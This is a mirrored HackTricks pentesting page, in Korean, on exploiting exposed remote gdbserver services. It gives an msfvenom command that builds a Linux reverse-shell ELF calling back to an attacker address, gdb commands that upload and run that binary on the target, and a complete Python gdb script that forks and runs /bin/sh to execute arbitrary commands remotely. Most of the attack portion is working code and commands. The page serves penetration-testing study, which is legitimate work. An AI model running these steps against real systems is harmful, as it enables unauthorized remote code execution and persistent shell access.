mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
216 lines
8.1 KiB
Markdown
216 lines
8.1 KiB
Markdown
# 원격 GdbServer Pentesting
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
|
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하고, 정찰부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 깊이 파고들고, 쉘을 열고, 즐기기 위해 사용자 정의 도구, 탐지 및 이용 모듈을 개발합니다.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
|
|
## **기본 정보**
|
|
|
|
**gdbserver**는 프로그램을 원격으로 디버깅할 수 있게 하는 도구입니다. 이는 "대상"이라고 하는 동일한 시스템에서 디버깅이 필요한 프로그램과 함께 실행됩니다. 이 설정은 **GNU 디버거**가 소스 코드와 디버그된 프로그램의 바이너리 사본이 저장된 "호스트"라는 다른 기계에서 연결할 수 있도록 합니다. **gdbserver**와 디버거 간의 연결은 TCP 또는 직렬 라인을 통해 이루어져 다양한 디버깅 설정이 가능합니다.
|
|
|
|
**gdbserver를 어떤 포트에서든 듣도록 설정**할 수 있으며, **현재 nmap은 서비스를 인식할 수 없습니다**.
|
|
|
|
## Exploitation
|
|
|
|
### 업로드 및 실행
|
|
|
|
**msfvenom을 사용하여 elf 백도어를 쉽게 생성**하고, 업로드하고 실행할 수 있습니다:
|
|
```bash
|
|
# Trick shared by @B1n4rySh4d0w
|
|
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
|
|
|
chmod +x binary.elf
|
|
|
|
gdb binary.elf
|
|
|
|
# Set remote debuger target
|
|
target extended-remote 10.10.10.11:1337
|
|
|
|
# Upload elf file
|
|
remote put binary.elf binary.elf
|
|
|
|
# Set remote executable file
|
|
set remote exec-file /home/user/binary.elf
|
|
|
|
# Execute reverse shell executable
|
|
run
|
|
|
|
# You should get your reverse-shell
|
|
```
|
|
### 임의 명령 실행
|
|
|
|
**디버거가 임의 명령을 실행하도록 하는 또 다른 방법이 있습니다.** [**여기에서 가져온 파이썬 사용자 정의 스크립트**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target) **를 사용합니다.**
|
|
```bash
|
|
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
|
target extended-remote 192.168.1.4:2345
|
|
|
|
# Load our custom gdb command `rcmd`.
|
|
source ./remote-cmd.py
|
|
|
|
# Change to a trusty binary and run it to load it
|
|
set remote exec-file /bin/bash
|
|
r
|
|
|
|
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
|
|
tb main
|
|
r
|
|
|
|
# Run the remote command, e.g. `ls`.
|
|
rcmd ls
|
|
```
|
|
우선 **로컬로 이 스크립트를 생성**하세요:
|
|
|
|
{% code title="remote-cmd.py" %}
|
|
```python
|
|
#!/usr/bin/env python3
|
|
|
|
import gdb
|
|
import re
|
|
import traceback
|
|
import uuid
|
|
|
|
|
|
class RemoteCmd(gdb.Command):
|
|
def __init__(self):
|
|
self.addresses = {}
|
|
|
|
self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
|
|
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
|
|
|
|
gdb.execute("set detach-on-fork off")
|
|
gdb.execute("set follow-fork-mode parent")
|
|
|
|
gdb.execute("set max-value-size unlimited")
|
|
gdb.execute("set pagination off")
|
|
gdb.execute("set print elements 0")
|
|
gdb.execute("set print repeats 0")
|
|
|
|
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
|
|
|
|
def preload(self):
|
|
for symbol in [
|
|
"close",
|
|
"execl",
|
|
"fork",
|
|
"free",
|
|
"lseek",
|
|
"malloc",
|
|
"open",
|
|
"read",
|
|
]:
|
|
self.load(symbol)
|
|
|
|
def load(self, symbol):
|
|
if symbol not in self.addresses:
|
|
address_string = gdb.execute(f"info address {symbol}", to_string=True)
|
|
match = re.match(
|
|
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
|
|
)
|
|
if match and len(match.groups()) > 0:
|
|
self.addresses[symbol] = match.groups()[0]
|
|
else:
|
|
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
|
|
|
|
return self.addresses[symbol]
|
|
|
|
def output(self):
|
|
# From `fcntl-linux.h`
|
|
O_RDONLY = 0
|
|
gdb.execute(
|
|
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
|
|
)
|
|
|
|
# From `stdio.h`
|
|
SEEK_SET = 0
|
|
SEEK_END = 2
|
|
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
|
|
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
|
|
if int(gdb.convenience_variable("len")) <= 0:
|
|
gdb.write("No output was captured.")
|
|
return
|
|
|
|
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
|
|
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
|
|
gdb.execute('printf "%s\\n", (char*) $mem')
|
|
|
|
gdb.execute(f'call (int){self.load("close")}($fd)')
|
|
gdb.execute(f'call (int){self.load("free")}($mem)')
|
|
|
|
def invoke(self, arg, from_tty):
|
|
try:
|
|
self.preload()
|
|
|
|
is_auto_solib_add = gdb.parameter("auto-solib-add")
|
|
gdb.execute("set auto-solib-add off")
|
|
|
|
parent_inferior = gdb.selected_inferior()
|
|
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
|
|
child_pid = gdb.convenience_variable("child_pid")
|
|
child_inferior = list(
|
|
filter(lambda x: x.pid == child_pid, gdb.inferiors())
|
|
)[0]
|
|
gdb.execute(f"inferior {child_inferior.num}")
|
|
|
|
try:
|
|
gdb.execute(
|
|
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
|
|
)
|
|
except gdb.error as e:
|
|
if (
|
|
"The program being debugged exited while in a function called from GDB"
|
|
in str(e)
|
|
):
|
|
pass
|
|
else:
|
|
raise e
|
|
finally:
|
|
gdb.execute(f"inferior {parent_inferior.num}")
|
|
gdb.execute(f"remove-inferiors {child_inferior.num}")
|
|
|
|
self.output()
|
|
except Exception as e:
|
|
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
|
|
raise e
|
|
finally:
|
|
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
|
|
|
|
|
|
RemoteCmd()
|
|
```
|
|
{% endcode %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하십시오. 우리는 펜테스터를 대체하지 않습니다 - 사용자 정의 도구, 탐지 및 악용 모듈을 개발하여 깊이 파고들고 쉘을 열고 즐길 수 있는 시간을 돌려줍니다.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원하면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
|
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**.
|
|
|
|
</details>
|